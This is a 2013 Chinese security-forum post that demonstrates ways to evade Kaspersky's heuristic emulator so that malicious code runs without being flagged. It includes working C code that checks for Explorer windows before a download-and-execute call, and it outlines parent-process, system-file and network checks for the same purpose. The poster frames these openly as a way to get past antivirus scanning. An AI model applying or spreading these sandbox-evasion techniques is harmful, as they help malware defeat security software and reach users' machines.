查看: 1143|回复: 2
收起左侧

[其他] 求转正,卡巴斯基虚拟机测试

[复制链接]
Evil0r
发表于 2013-12-31 20:58:56 | 显示全部楼层 |阅读模式
本帖最后由 Evil0r 于 2013-12-31 21:00 编辑

卡巴的启发式,大概就是可在虚拟的仿真系统环境里执行程序,观察是否包含任何具危险性的恶意行为吧。
我对卡巴的虚拟机做了下测试,是最新版本的。
其实就是找它的虚拟机不能实现的东西,或者说是没有模拟出来的东西,用来与实体机区分,区分开来就可以执行恶意代码,从而躲过它的启发式扫描。

先看一段被杀的代码,经常拿来测试卡巴的。。。
TCHAR szFileName[MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);       

执行它之前加一个判断
1.窗口检测法
BOOL bInVm = TRUE;
BOOL CALLBACK EnumWindowCallBack(HWND hWnd, LPARAM lParam)
{
        TCHAR szBufClass[MAX_PATH] = {0};
        GetClassName(hWnd,szBufClass,MAX_PATH);
        TCHAR szBufTitel[MAX_PATH] = {0};
        GetWindowText(hWnd,szBufTitel,MAX_PATH);
        //(C:)  && _tcsstr(szBufTitel,_T("(C:)"))==0
        if(_tcsicmp(szBufClass,_T("CabinetWClass"))==0)
        {
                //证明找到打开C盘的窗口了
                bInVm = FALSE;
        }
        return TRUE;
}

VOID TestInVmByFindWnd()
{
        ShellExecute(NULL,_T("open"),_T("C:\\"),NULL,NULL,/*SW_NORMAL*/SW_HIDE);       
        Sleep(1000);
        EnumWindows(EnumWindowCallBack,0);
}
其实就是模拟打开一个文件夹然后查找explorer浏览器的窗口,卡巴虚拟机中并没有模拟所以很轻松的判断出来了。
所以
TestInVmByFindWnd();
if(!bInVm)
{
TCHAR szFileName[MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);       

}
这样,卡巴扫描就不杀了。


2.父进程法
tlhelp32函数找下自己的父进程就可以了,如果不是explorer那么证明是在卡巴虚拟机中运行的。

3.模拟打开系统文件法
createfile一个系统文件,他没有模拟所有的系统文件,所以也可以轻松判断。具体文件 自己找找吧,一大堆。

4.socket法
直接模拟get baidu.com 判断返回值,也可以区别出来是否在卡巴虚拟机环境下运行。

先列举这么多吧,希望可以转正~~~

评分

参与人数 1经验 +5 收起 理由
仰望_星空 + 5 版区有你更精彩: )

查看全部评分

xflcx1991
发表于 2013-12-31 21:10:46 | 显示全部楼层
Evil0r
 楼主| 发表于 2014-1-2 22:01:26 | 显示全部楼层
这个不能加分的么
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-11-25 22:37 , Processed in 0.126307 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表